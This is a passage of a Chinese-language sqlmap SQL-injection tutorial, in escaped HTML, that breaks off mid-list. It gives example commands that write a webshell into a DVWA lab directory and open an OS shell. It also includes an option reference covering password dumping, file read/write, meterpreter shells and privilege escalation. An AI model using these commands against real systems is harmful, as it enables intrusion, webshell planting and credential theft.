admin,password<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u5728dedecms\u6570\u636e\u5e93\u4e2d\u641c\u7d22\u5b57\u6bb5admin\u6216\u8005password\u3002<\/p>\n<p>\u8bfb\u53d6\u4e0e\u5199\u5165\u6587\u4ef6<\/p>\n<p>\u9996\u5148\u627e\u9700\u8981\u7f51\u7ad9\u7684\u7269\u7406\u8def\u5f84\uff0c\u5176\u6b21\u9700\u8981\u6709\u53ef\u5199\u6216\u53ef\u8bfb\u6743\u9650\u3002<\/p>\n<p>\u2013file-read=RFILE \u4ece\u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u6587\u4ef6\u7cfb\u7edf\u8bfb\u53d6\u6587\u4ef6 \uff08\u7269\u7406\u8def\u5f84\uff09<\/p>\n<p>\u2013file-write=WFILE \u7f16\u8f91\u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u6587\u4ef6\u7cfb\u7edf\u4e0a\u7684\u672c\u5730\u6587\u4ef6 \uff08mssql xp_shell\uff09<\/p>\n<p>\u2013file-dest=DFILE \u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u5199\u5165\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84<\/p>\n<p>#\u793a\u4f8b\uff1a<\/p>\n<div>\n<div>\n<div id=\"highlighter_302176\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -r \u201cc:\\request.txt\u201d -p id\u00a0\u2013dbms mysql \u2013file-dest \u201ce:\\php\\htdocs\\dvwa\\inc\\include\\1.php\u201d \u2013file-write\u00a0\u201cf:\\webshell\\1112.php\u201d<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u4f7f\u7528shell\u547d\u4ee4\uff1a<\/p>\n<div>\n<div>\n<div id=\"highlighter_290297\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -r \u201cc:\\tools\\request.txt\u201d -p id\u00a0\u2013dms mysql \u2013os-shell<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u63a5\u4e0b\u6765\u6307\u5b9a\u7f51\u7ad9\u53ef\u5199\u76ee\u5f55\uff1a<\/p>\n<p>\u201cE:\\php\\htdocs\\dvwa\u201d<\/p>\n<p>#\u6ce8\uff1amysql\u4e0d\u652f\u6301\u5217\u76ee\u5f55\uff0c\u4ec5\u652f\u6301\u8bfb\u53d6\u5355\u4e2a\u6587\u4ef6\u3002sqlserver\u53ef\u4ee5\u5217\u76ee\u5f55\uff0c\u4e0d\u80fd\u8bfb\u5199\u6587\u4ef6\uff0c\u4f46\u9700\u8981\u4e00\u4e2a\uff08xp_dirtree\u51fd\u6570\uff09<\/p>\n<p>sqlmap\u8be6\u7ec6\u547d\u4ee4\uff1a<\/p>\n<ul>\n<li>-is-dba \u5f53\u524d\u7528\u6237\u6743\u9650\uff08\u662f\u5426\u4e3aroot\u6743\u9650\uff09<\/li>\n<li>-dbs \u6240\u6709\u6570\u636e\u5e93<\/li>\n<li>-current-db \u7f51\u7ad9\u5f53\u524d\u6570\u636e\u5e93<\/li>\n<li>-users \u6240\u6709\u6570\u636e\u5e93\u7528\u6237<\/li>\n<li>-current-user \u5f53\u524d\u6570\u636e\u5e93\u7528\u6237<\/li>\n<li>-random-agent \u6784\u9020\u968f\u673auser-agent<\/li>\n<li>-passwords \u6570\u636e\u5e93\u5bc6\u7801<\/li>\n<li>-proxy http:\/\/local:8080 \u2013threads 10 (\u53ef\u4ee5\u81ea\u5b9a\u4e49\u7ebf\u7a0b\u52a0\u901f) \u4ee3\u7406<\/li>\n<li>-time-sec=TIMESEC DBMS\u54cd\u5e94\u7684\u5ef6\u8fdf\u65f6\u95f4\uff08\u9ed8\u8ba4\u4e3a5\u79d2\uff09<\/li>\n<\/ul>\n<p>Options\uff08\u9009\u9879\uff09\uff1a<\/p>\n<ul>\n<li>\n<div align=\"left\">-version \u663e\u793a\u7a0b\u5e8f\u7684\u7248\u672c\u53f7\u5e76\u9000\u51fa<\/div>\n<\/li>\n<li>\n<div align=\"left\">-h, \u2013help \u663e\u793a\u6b64\u5e2e\u52a9\u6d88\u606f\u5e76\u9000\u51fa<\/div>\n<\/li>\n<li>\n<div align=\"left\">-v VERBOSE \u8be6\u7ec6\u7ea7\u522b\uff1a0-6\uff08\u9ed8\u8ba4\u4e3a1\uff09<\/div>\n<\/li>\n<\/ul>\n<p>Target\uff08\u76ee\u6807\uff09\uff1a<\/p>\n<p>\u4ee5\u4e0b\u81f3\u5c11\u9700\u8981\u8bbe\u7f6e\u5176\u4e2d\u4e00\u4e2a\u9009\u9879\uff0c\u8bbe\u7f6e\u76ee\u6807URL\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">-d DIRECT \u76f4\u63a5\u8fde\u63a5\u5230\u6570\u636e\u5e93\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">-u URL, \u2013url=URL \u76ee\u6807URL\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">-l LIST \u4eceBurp\u6216WebScarab\u4ee3\u7406\u7684\u65e5\u5fd7\u4e2d\u89e3\u6790\u76ee\u6807\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">-r REQUESTFILE \u4ece\u4e00\u4e2a\u6587\u4ef6\u4e2d\u8f7d\u5165HTTP\u8bf7\u6c42\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">-g GOOGLEDORK \u5904\u7406Google dork\u7684\u7ed3\u679c\u4f5c\u4e3a\u76ee\u6807URL\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">\n<p>-c CONFIGFILE \u4eceINI\u914d\u7f6e\u6587\u4ef6\u4e2d\u52a0\u8f7d\u9009\u9879\u3002<\/p>\n<\/div>\n<\/li>\n<\/ul>\n<p>Request\uff08\u8bf7\u6c42\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u6307\u5b9a\u5982\u4f55\u8fde\u63a5\u5230\u76ee\u6807URL\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">-data=DATA \u901a\u8fc7POST\u53d1\u9001\u7684\u6570\u636e\u5b57\u7b26\u4e32<\/div>\n<\/li>\n<li>\n<div align=\"left\">-cookie=COOKIE HTTP Cookie\u5934<\/div>\n<\/li>\n<li>\n<div align=\"left\">-cookie-urlencode URL \u7f16\u7801\u751f\u6210\u7684cookie\u6ce8\u5165<\/div>\n<\/li>\n<li>\n<div align=\"left\">-drop-set-cookie \u5ffd\u7565\u54cd\u5e94\u7684Set \u2013 Cookie\u5934\u4fe1\u606f<\/div>\n<\/li>\n<li>\n<div align=\"left\">-user-agent=AGENT \u6307\u5b9a HTTP User \u2013 Agent\u5934<\/div>\n<\/li>\n<li>\n<div align=\"left\">-random-agent \u4f7f\u7528\u968f\u673a\u9009\u5b9a\u7684HTTP User \u2013 Agent\u5934<\/div>\n<\/li>\n<li>\n<div align=\"left\">-referer=REFERER \u6307\u5b9a HTTP Referer\u5934<\/div>\n<\/li>\n<li>\n<div align=\"left\">-headers=HEADERS \u6362\u884c\u5206\u5f00\uff0c\u52a0\u5165\u5176\u4ed6\u7684HTTP\u5934<\/div>\n<\/li>\n<li>\n<div align=\"left\">-auth-type=ATYPE HTTP\u8eab\u4efd\u9a8c\u8bc1\u7c7b\u578b\uff08\u57fa\u672c\uff0c\u6458\u8981\u6216NTLM\uff09(Basic, Digest or NTLM)<\/div>\n<\/li>\n<li>\n<div align=\"left\">-auth-cred=ACRED HTTP\u8eab\u4efd\u9a8c\u8bc1\u51ed\u636e\uff08\u7528\u6237\u540d:\u5bc6\u7801\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-auth-cert=ACERT HTTP\u8ba4\u8bc1\u8bc1\u4e66\uff08key_file\uff0ccert_file\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-proxy=PROXY \u4f7f\u7528HTTP\u4ee3\u7406\u8fde\u63a5\u5230\u76ee\u6807URL<\/div>\n<\/li>\n<li>\n<div align=\"left\">-proxy-cred=PCRED HTTP\u4ee3\u7406\u8eab\u4efd\u9a8c\u8bc1\u51ed\u636e\uff08\u7528\u6237\u540d\uff1a\u5bc6\u7801\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-ignore-proxy \u5ffd\u7565\u7cfb\u7edf\u9ed8\u8ba4\u7684HTTP\u4ee3\u7406<\/div>\n<\/li>\n<li>\n<div align=\"left\">-delay=DELAY \u5728\u6bcf\u4e2aHTTP\u8bf7\u6c42\u4e4b\u95f4\u7684\u5ef6\u8fdf\u65f6\u95f4\uff0c\u5355\u4f4d\u4e3a\u79d2<\/div>\n<\/li>\n<li>\n<div align=\"left\">-timeout=TIMEOUT \u7b49\u5f85\u8fde\u63a5\u8d85\u65f6\u7684\u65f6\u95f4\uff08\u9ed8\u8ba4\u4e3a30\u79d2\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-retries=RETRIES \u8fde\u63a5\u8d85\u65f6\u540e\u91cd\u65b0\u8fde\u63a5\u7684\u65f6\u95f4\uff08\u9ed8\u8ba43\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-scope=SCOPE \u4ece\u6240\u63d0\u4f9b\u7684\u4ee3\u7406\u65e5\u5fd7\u4e2d\u8fc7\u6ee4\u5668\u76ee\u6807\u7684\u6b63\u5219\u8868\u8fbe\u5f0f<\/div>\n<\/li>\n<li>\n<div align=\"left\">-safe-url=SAFURL \u5728\u6d4b\u8bd5\u8fc7\u7a0b\u4e2d\u7ecf\u5e38\u8bbf\u95ee\u7684url\u5730\u5740<\/div>\n<\/li>\n<li>\n<div align=\"left\">-safe-freq=SAFREQ \u4e24\u6b21\u8bbf\u95ee\u4e4b\u95f4\u6d4b\u8bd5\u8bf7\u6c42\uff0c\u7ed9\u51fa\u5b89\u5168\u7684URL<\/div>\n<\/li>\n<\/ul>\n<p>Enumeration\uff08\u679a\u4e3e\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u5217\u4e3e\u540e\u7aef\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u4fe1\u606f\u3001\u8868\u4e2d\u7684\u7ed3\u6784\u548c\u6570\u636e\u3002\u6b64\u5916\uff0c\u60a8\u8fd8\u53ef\u4ee5\u8fd0\u884c\u60a8\u81ea\u5df1\u7684SQL\u8bed\u53e5\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">-b, \u2013banner \u68c0\u7d22\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u6807\u8bc6<\/div>\n<\/li>\n<li>\n<div align=\"left\">-current-user \u68c0\u7d22\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u5f53\u524d\u7528\u6237<\/div>\n<\/li>\n<li>\n<div align=\"left\">-current-db \u68c0\u7d22\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u5f53\u524d\u6570\u636e\u5e93<\/div>\n<\/li>\n<li>\n<div align=\"left\">-is-dba \u68c0\u6d4bDBMS\u5f53\u524d\u7528\u6237\u662f\u5426DBA<\/div>\n<\/li>\n<li>\n<div align=\"left\">-users \u679a\u4e3e\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7528\u6237<\/div>\n<\/li>\n<li>\n<div align=\"left\">-passwords \u679a\u4e3e\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7528\u6237\u5bc6\u7801\u54c8\u5e0c<\/div>\n<\/li>\n<li>\n<div align=\"left\">-privileges \u679a\u4e3e\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7528\u6237\u7684\u6743\u9650<\/div>\n<\/li>\n<li>\n<div align=\"left\">-roles \u679a\u4e3e\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7528\u6237\u7684\u89d2\u8272<\/div>\n<\/li>\n<li>\n<div align=\"left\">-dbs \u679a\u4e3e\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u6570\u636e\u5e93<\/div>\n<\/li>\n<li>\n<div align=\"left\">-D DBname \u8981\u8fdb\u884c\u679a\u4e3e\u7684\u6307\u5b9a\u6570\u636e\u5e93\u540d<\/div>\n<\/li>\n<li>\n<div align=\"left\">-T TBLname \u8981\u8fdb\u884c\u679a\u4e3e\u7684\u6307\u5b9a\u6570\u636e\u5e93\u8868\uff08\u5982\uff1a-T tablename \u2013columns\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-tables \u679a\u4e3e\u7684DBMS\u6570\u636e\u5e93\u4e2d\u7684\u8868<\/div>\n<\/li>\n<li>\n<div align=\"left\">-columns \u679a\u4e3eDBMS\u6570\u636e\u5e93\u8868\u5217<\/div>\n<\/li>\n<li>\n<div align=\"left\">-dump \u8f6c\u50a8\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u6570\u636e\u5e93\u4e2d\u7684\u8868\u9879<\/div>\n<\/li>\n<li>\n<div align=\"left\">-dump-all \u8f6c\u50a8\u6240\u6709\u7684DBMS\u6570\u636e\u5e93\u8868\u4e2d\u7684\u6761\u76ee<\/div>\n<\/li>\n<li>\n<div align=\"left\">-search \u641c\u7d22\u5217\uff08S\uff09\uff0c\u8868\uff08S\uff09\u548c\/\u6216\u6570\u636e\u5e93\u540d\u79f0\uff08S\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">-C COL \u8981\u8fdb\u884c\u679a\u4e3e\u7684\u6570\u636e\u5e93\u5217<\/div>\n<\/li>\n<li>\n<div align=\"left\">-U USER \u7528\u6765\u8fdb\u884c\u679a\u4e3e\u7684\u6570\u636e\u5e93\u7528\u6237<\/div>\n<\/li>\n<li>\n<div align=\"left\">-exclude-sysdbs \u679a\u4e3e\u8868\u65f6\u6392\u9664\u7cfb\u7edf\u6570\u636e\u5e93<\/div>\n<\/li>\n<li>\n<div align=\"left\">-start=LIMITSTART \u7b2c\u4e00\u4e2a\u67e5\u8be2\u8f93\u51fa\u8fdb\u5165\u68c0\u7d22<\/div>\n<\/li>\n<li>\n<div align=\"left\">-stop=LIMITSTOP \u6700\u540e\u67e5\u8be2\u7684\u8f93\u51fa\u8fdb\u5165\u68c0\u7d22<\/div>\n<\/li>\n<li>\n<div align=\"left\">-first=FIRSTCHAR \u7b2c\u4e00\u4e2a\u67e5\u8be2\u8f93\u51fa\u5b57\u7684\u5b57\u7b26\u68c0\u7d22<\/div>\n<\/li>\n<li>\n<div align=\"left\">-last=LASTCHAR \u6700\u540e\u67e5\u8be2\u7684\u8f93\u51fa\u5b57\u5b57\u7b26\u68c0\u7d22<\/div>\n<\/li>\n<li>\n<div align=\"left\">-sql-query=QUERY \u8981\u6267\u884c\u7684SQL\u8bed\u53e5<\/div>\n<\/li>\n<li>\n<div align=\"left\">-sql-shell \u63d0\u793a\u4ea4\u4e92\u5f0fSQL\u7684shell<\/div>\n<\/li>\n<\/ul>\n<p>Optimization\uff08\u4f18\u5316\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u7528\u4e8e\u4f18\u5316SqlMap\u7684\u6027\u80fd\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">-o \u5f00\u542f\u6240\u6709\u4f18\u5316\u5f00\u5173<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013predict-output \u9884\u6d4b\u5e38\u89c1\u7684\u67e5\u8be2\u8f93\u51fa<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013keep-alive \u4f7f\u7528\u6301\u4e45\u7684HTTP\uff08S\uff09\u8fde\u63a5<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013null-connection \u4ece\u6ca1\u6709\u5b9e\u9645\u7684HTTP\u54cd\u5e94\u4f53\u4e2d\u68c0\u7d22\u9875\u9762\u957f\u5ea6<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013threads=THREADS \u6700\u5927\u7684HTTP\uff08S\uff09\u8bf7\u6c42\u5e76\u53d1\u91cf\uff08\u9ed8\u8ba4\u4e3a1\uff09<\/div>\n<\/li>\n<\/ul>\n<p>Injection\uff08\u6ce8\u5165\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u6307\u5b9a\u6d4b\u8bd5\u54ea\u4e9b\u53c2\u6570\uff0c \u63d0\u4f9b\u81ea\u5b9a\u4e49\u7684\u6ce8\u5165payloads\u548c\u53ef\u9009\u7be1\u6539\u811a\u672c\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">-p TESTPARAMETER \u53ef\u6d4b\u8bd5\u7684\u53c2\u6570\uff08S\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013dbms=DBMS \u5f3a\u5236\u540e\u7aef\u7684DBMS\u4e3a\u6b64\u503c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013os=OS \u5f3a\u5236\u540e\u7aef\u7684DBMS\u64cd\u4f5c\u7cfb\u7edf\u4e3a\u8fd9\u4e2a\u503c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013prefix=PREFIX \u6ce8\u5165payload\u5b57\u7b26\u4e32\u524d\u7f00<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013suffix=SUFFIX \u6ce8\u5165payload\u5b57\u7b26\u4e32\u540e\u7f00<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013tamper=TAMPER \u4f7f\u7528\u7ed9\u5b9a\u7684\u811a\u672c\uff08S\uff09\u7be1\u6539\u6ce8\u5165\u6570\u636e<\/div>\n<\/li>\n<\/ul>\n<p>Detection\uff08\u68c0\u6d4b\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u6307\u5b9a\u5728SQL\u76f2\u6ce8\u65f6\u5982\u4f55\u89e3\u6790\u548c\u6bd4\u8f83HTTP\u54cd\u5e94\u9875\u9762\u7684\u5185\u5bb9\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013level=LEVEL \u6267\u884c\u6d4b\u8bd5\u7684\u7b49\u7ea7\uff081-5\uff0c\u9ed8\u8ba4\u4e3a1\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013risk=RISK \u6267\u884c\u6d4b\u8bd5\u7684\u98ce\u9669\uff080-3\uff0c\u9ed8\u8ba4\u4e3a1\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013string=STRING \u67e5\u8be2\u65f6\u6709\u6548\u65f6\u5728\u9875\u9762\u5339\u914d\u5b57\u7b26\u4e32<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013regexp=REGEXP \u67e5\u8be2\u65f6\u6709\u6548\u65f6\u5728\u9875\u9762\u5339\u914d\u6b63\u5219\u8868\u8fbe\u5f0f<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013text-only \u4ec5\u57fa\u4e8e\u5728\u6587\u672c\u5185\u5bb9\u6bd4\u8f83\u7f51\u9875<\/div>\n<\/li>\n<\/ul>\n<p>Techniques\uff08\u6280\u5de7\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u7528\u4e8e\u8c03\u6574\u5177\u4f53\u7684SQL\u6ce8\u5165\u6d4b\u8bd5\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013technique=TECH SQL\u6ce8\u5165\u6280\u672f\u6d4b\u8bd5\uff08\u9ed8\u8ba4BEUST\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013time-sec=TIMESEC DBMS\u54cd\u5e94\u7684\u5ef6\u8fdf\u65f6\u95f4\uff08\u9ed8\u8ba4\u4e3a5\u79d2\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013union-cols=UCOLS \u5b9a\u5217\u8303\u56f4\u7528\u4e8e\u6d4b\u8bd5UNION\u67e5\u8be2\u6ce8\u5165<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013union-char=UCHAR \u7528\u4e8e\u66b4\u529b\u731c\u89e3\u5217\u6570\u7684\u5b57\u7b26<\/div>\n<\/li>\n<\/ul>\n<p>Fingerprint\uff08\u6307\u7eb9\uff09\uff1a<\/p>\n<ul>\n<li>-f, \u2013fingerprint \u6267\u884c\u68c0\u67e5\u5e7f\u6cdb\u7684DBMS\u7248\u672c\u6307\u7eb9<\/li>\n<\/ul>\n<p>Brute force\uff08\u86ee\u529b\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u88ab\u7528\u6765\u8fd0\u884c\u86ee\u529b\u68c0\u67e5\u3002<\/p>\n<ul>\n<li>\u2013common-tables \u68c0\u67e5\u5b58\u5728\u5171\u540c\u8868<\/li>\n<li>\u2013common-columns \u68c0\u67e5\u5b58\u5728\u5171\u540c\u5217<\/li>\n<\/ul>\n<p>User-defined function injection\uff08\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570\u6ce8\u5165\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u521b\u5efa\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570\u3002<\/p>\n<p>\u2013udf-inject \u6ce8\u5165\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570<\/p>\n<p>\u2013shared-lib=SHLIB \u5171\u4eab\u5e93\u7684\u672c\u5730\u8def\u5f84<\/p>\n<p>File system access\uff08\u8bbf\u95ee\u6587\u4ef6\u7cfb\u7edf\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u88ab\u7528\u6765\u8bbf\u95ee\u540e\u7aef\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u5e95\u5c42\u6587\u4ef6\u7cfb\u7edf\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013file-read=RFILE \u4ece\u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u6587\u4ef6\u7cfb\u7edf\u8bfb\u53d6\u6587\u4ef6<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013file-write=WFILE \u7f16\u8f91\u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u6587\u4ef6\u7cfb\u7edf\u4e0a\u7684\u672c\u5730\u6587\u4ef6<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013file-dest=DFILE \u540e\u7aef\u7684\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u5199\u5165\u6587\u4ef6\u7684\u7edd\u5bf9\u8def\u5f84<\/div>\n<\/li>\n<\/ul>\n<p>Operating system access\uff08\u64cd\u4f5c\u7cfb\u7edf\u8bbf\u95ee\uff09\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u4e8e\u8bbf\u95ee\u540e\u7aef\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u5e95\u5c42\u64cd\u4f5c\u7cfb\u7edf\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013os-cmd=OSCMD \u6267\u884c\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013os-shell \u4ea4\u4e92\u5f0f\u7684\u64cd\u4f5c\u7cfb\u7edf\u7684shell<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013os-pwn \u83b7\u53d6\u4e00\u4e2aOOB shell\uff0cmeterpreter\u6216VNC<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013os-smbrelay \u4e00\u952e\u83b7\u53d6\u4e00\u4e2aOOB shell\uff0cmeterpreter\u6216VNC<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013os-bof \u5b58\u50a8\u8fc7\u7a0b\u7f13\u51b2\u533a\u6ea2\u51fa\u5229\u7528<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013priv-esc \u6570\u636e\u5e93\u8fdb\u7a0b\u7528\u6237\u6743\u9650\u63d0\u5347<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013msf-path=MSFPATH Metasploit Framework\u672c\u5730\u7684\u5b89\u88c5\u8def\u5f84<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013tmp-path=TMPPATH \u8fdc\u7a0b\u4e34\u65f6\u6587\u4ef6\u76ee\u5f55\u7684\u7edd\u5bf9\u8def\u5f84<\/div>\n<\/li>\n<\/ul>\n<p>Windows\u6ce8\u518c\u8868\u8bbf\u95ee\uff1a<\/p>\n<p>\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u88ab\u7528\u6765\u8bbf\u95ee\u540e\u7aef\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edfWindows\u6ce8\u518c\u8868\u3002<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013reg-read \u8bfb\u4e00\u4e2aWindows\u6ce8\u518c\u8868\u9879\u503c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-add \u5199\u4e00\u4e2aWindows\u6ce8\u518c\u8868\u9879\u503c\u6570\u636e<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-del \u5220\u9664Windows\u6ce8\u518c\u8868\u952e\u503c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-key=REGKEY Windows\u6ce8\u518c\u8868\u952e<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-value=REGVAL Windows\u6ce8\u518c\u8868\u9879\u503c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-data=REGDATA Windows\u6ce8\u518c\u8868\u952e\u503c\u6570\u636e<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013reg-type=REGTYPE Windows\u6ce8\u518c\u8868\u9879\u503c\u7c7b\u578b<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u8fd9\u4e9b\u9009\u9879\u53ef\u4ee5\u7528\u6765\u8bbe\u7f6e\u4e00\u4e9b\u4e00\u822c\u7684\u5de5\u4f5c\u53c2\u6570\u3002<\/div>\n<\/li>\n<li>\n<div align=\"left\">-t TRAFFICFILE \u8bb0\u5f55\u6240\u6709HTTP\u6d41\u91cf\u5230\u4e00\u4e2a\u6587\u672c\u6587\u4ef6\u4e2d<\/div>\n<\/li>\n<li>\n<div align=\"left\">-s SESSIONFILE \u4fdd\u5b58\u548c\u6062\u590d\u68c0\u7d22\u4f1a\u8bdd\u6587\u4ef6\u7684\u6240\u6709\u6570\u636e<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013flush-session \u5237\u65b0\u5f53\u524d\u76ee\u6807\u7684\u4f1a\u8bdd\u6587\u4ef6<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013fresh-queries \u5ffd\u7565\u5728\u4f1a\u8bdd\u6587\u4ef6\u4e2d\u5b58\u50a8\u7684\u67e5\u8be2\u7ed3\u679c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013eta \u663e\u793a\u6bcf\u4e2a\u8f93\u51fa\u7684\u9884\u8ba1\u5230\u8fbe\u65f6\u95f4<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013update \u66f4\u65b0SqlMap<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013save file\u4fdd\u5b58\u9009\u9879\u5230INI\u914d\u7f6e\u6587\u4ef6<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013batch \u4ece\u4e0d\u8be2\u95ee\u7528\u6237\u8f93\u5165\uff0c\u4f7f\u7528\u6240\u6709\u9ed8\u8ba4\u914d\u7f6e\u3002<\/div>\n<\/li>\n<\/ul>\n<p>Miscellaneous\uff08\u6742\u9879\uff09\uff1a<\/p>\n<ul>\n<li>\n<div align=\"left\">\u2013beep \u53d1\u73b0SQL\u6ce8\u5165\u65f6\u63d0\u9192<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013check-payload IDS\u5bf9\u6ce8\u5165payloads\u7684\u68c0\u6d4b\u6d4b\u8bd5<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013cleanup SqlMap\u5177\u4f53\u7684UDF\u548c\u8868\u6e05\u7406DBMS<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013forms \u5bf9\u76ee\u6807URL\u7684\u89e3\u6790\u548c\u6d4b\u8bd5\u5f62\u5f0f<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013gpage=GOOGLEPAGE \u4ece\u6307\u5b9a\u7684\u9875\u7801\u4f7f\u7528\u8c37\u6b4cdork\u7ed3\u679c<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013page-rank Google dork\u7ed3\u679c\u663e\u793a\u7f51\u9875\u6392\u540d\uff08PR\uff09<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013parse-errors \u4ece\u54cd\u5e94\u9875\u9762\u89e3\u6790\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u9519\u8bef\u6d88\u606f<\/div>\n<\/li>\n<li>\n<div align=\"left\">\u2013replicate 